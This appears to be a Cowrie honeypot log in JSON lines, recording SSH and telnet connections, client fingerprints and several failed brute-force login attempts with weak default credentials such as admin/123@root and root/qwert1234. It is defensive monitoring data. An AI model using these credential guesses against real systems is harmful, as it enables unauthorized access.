{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:01.422622Z","src_ip":"159.203.92.129","session":"fb8cfd0cde8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:01.427953Z","src_ip":"159.203.92.129","session":"fb8cfd0cde8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@root","message":"login attempt [admin/123@root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:01.439749Z","src_ip":"159.203.92.129","session":"fb8cfd0cde8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0012948513031,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:01.508425Z","src_ip":"176.29.26.223","session":"769154a1e151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:02.448912Z","src_ip":"159.203.92.129","session":"fb8cfd0cde8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":27185,"dst_ip":"159.203.135.109","dst_port":23,"session":"b11733946e99","protocol":"telnet","message":"New connection: 176.29.26.223:27185 (159.203.135.109:23) [session: b11733946e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:02.527284Z"}
{"eventid":"cowrie.session.closed","duration":120.00148439407349,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:02.752017Z","src_ip":"176.29.26.223","session":"2538bf2c4105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400209188461304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:03.026447Z","src_ip":"149.56.25.198","session":"a7e5fa77c5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00390315055847,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:05.981812Z","src_ip":"176.29.26.223","session":"ca0f79b054b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42088,"dst_ip":"10.17.0.5","dst_port":23,"session":"979bce1a0d2c","protocol":"telnet","message":"New connection: 149.56.25.198:42088 (10.17.0.5:23) [session: 979bce1a0d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:06.097442Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":10874,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfc8751756f","protocol":"telnet","message":"New connection: 176.29.26.223:10874 (159.203.135.109:23) [session: 9cfc8751756f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:06.147477Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":33830,"dst_ip":"159.203.135.109","dst_port":23,"session":"e665fab35322","protocol":"telnet","message":"New connection: 176.29.26.223:33830 (159.203.135.109:23) [session: e665fab35322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:07.408668Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42090,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e243af6187","protocol":"telnet","message":"New connection: 149.56.25.198:42090 (10.17.0.5:23) [session: 63e243af6187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:07.714225Z"}
{"eventid":"cowrie.session.closed","duration":30.250182628631592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:08.020823Z","src_ip":"149.56.25.198","session":"1e3f2cb93f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42102,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b2800d64c2","protocol":"telnet","message":"New connection: 149.56.25.198:42102 (10.17.0.5:23) [session: 95b2800d64c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:08.061411Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b2414861a1","protocol":"telnet","message":"New connection: 149.56.25.198:42110 (10.17.0.5:23) [session: a6b2414861a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:08.778503Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42112,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d77f132c36","protocol":"telnet","message":"New connection: 149.56.25.198:42112 (10.17.0.5:23) [session: 97d77f132c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:09.713979Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b764db9430c","protocol":"telnet","message":"New connection: 149.56.25.198:42122 (10.17.0.5:23) [session: 7b764db9430c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:10.542560Z"}
{"eventid":"cowrie.session.closed","duration":30.174936056137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:15.026237Z","src_ip":"149.56.25.198","session":"cb7925a238f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":53236,"dst_ip":"10.17.0.5","dst_port":23,"session":"e379383ff5d0","protocol":"telnet","message":"New connection: 149.56.25.198:53236 (10.17.0.5:23) [session: e379383ff5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:15.573881Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":53246,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a7b951bfe0","protocol":"telnet","message":"New connection: 149.56.25.198:53246 (10.17.0.5:23) [session: 12a7b951bfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:15.844867Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":49188,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c41e413f3ad","protocol":"ssh","message":"New connection: 68.183.236.1:49188 (10.17.0.5:22) [session: 5c41e413f3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:17.823678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:17.829033Z","src_ip":"68.183.236.1","session":"5c41e413f3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:18.066863Z","src_ip":"68.183.236.1","session":"5c41e413f3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Janitza","message":"login attempt [admin/Janitza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:19.047820Z","src_ip":"68.183.236.1","session":"5c41e413f3ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":53254,"dst_ip":"10.17.0.5","dst_port":23,"session":"22339f51b668","protocol":"telnet","message":"New connection: 149.56.25.198:53254 (10.17.0.5:23) [session: 22339f51b668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:19.089593Z"}
{"eventid":"cowrie.session.closed","duration":30.257227659225464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:20.029836Z","src_ip":"149.56.25.198","session":"e151354b47f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:20.288049Z","src_ip":"68.183.236.1","session":"5c41e413f3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.865617990493774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:22.025699Z","src_ip":"149.56.25.198","session":"44fbb154603e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926601886749268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:24.032841Z","src_ip":"149.56.25.198","session":"9bae65c0a2fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.092877626419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:24.040303Z","src_ip":"149.56.25.198","session":"00e4facc7730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819509744644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:25.016816Z","src_ip":"149.56.25.198","session":"08525801724f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":56266,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ca0c0a50ed","protocol":"telnet","message":"New connection: 149.56.25.198:56266 (10.17.0.5:23) [session: 15ca0c0a50ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:26.017322Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"153f1940dc58","protocol":"telnet","message":"New connection: 149.56.25.198:56280 (10.17.0.5:23) [session: 153f1940dc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:26.324065Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"65110843729c","protocol":"telnet","message":"New connection: 149.56.25.198:56296 (10.17.0.5:23) [session: 65110843729c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:29.143848Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":56302,"dst_ip":"10.17.0.5","dst_port":23,"session":"f083a52be325","protocol":"telnet","message":"New connection: 149.56.25.198:56302 (10.17.0.5:23) [session: f083a52be325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:34.617278Z"}
{"eventid":"cowrie.session.closed","duration":30.93098521232605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:37.028283Z","src_ip":"149.56.25.198","session":"979bce1a0d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171868562698364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:39.233157Z","src_ip":"149.56.25.198","session":"95b2800d64c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30780816078186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:40.021677Z","src_ip":"149.56.25.198","session":"97d77f132c36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.359228134155273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:40.137635Z","src_ip":"149.56.25.198","session":"a6b2414861a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":59044,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9c7b28ded5","protocol":"ssh","message":"New connection: 165.154.5.148:59044 (10.17.0.5:22) [session: fb9c7b28ded5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:40.280382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:40.285277Z","src_ip":"165.154.5.148","session":"fb9c7b28ded5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:40.502140Z","src_ip":"165.154.5.148","session":"fb9c7b28ded5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.475683450698853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:41.018128Z","src_ip":"149.56.25.198","session":"7b764db9430c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert1234","message":"login attempt [root/qwert1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:41.391287Z","src_ip":"165.154.5.148","session":"fb9c7b28ded5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:42.607969Z","src_ip":"165.154.5.148","session":"fb9c7b28ded5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23970,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b48d5997406","protocol":"ssh","message":"New connection: 194.59.206.2:23970 (10.17.0.5:22) [session: 4b48d5997406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.108758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.113106Z","src_ip":"194.59.206.2","session":"4b48d5997406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.203731Z","src_ip":"194.59.206.2","session":"4b48d5997406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45960,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9f97056ae2f","protocol":"ssh","message":"New connection: 159.203.92.129:45960 (159.203.135.109:22) [session: d9f97056ae2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.258807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.262136Z","src_ip":"159.203.92.129","session":"d9f97056ae2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.268698Z","src_ip":"159.203.92.129","session":"d9f97056ae2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123QWEasd","message":"login attempt [admin/123QWEasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.279619Z","src_ip":"159.203.92.129","session":"d9f97056ae2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:43.298302Z","src_ip":"194.59.206.2","session":"4b48d5997406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:44.286046Z","src_ip":"159.203.92.129","session":"d9f97056ae2f","protocol":"ssh"}
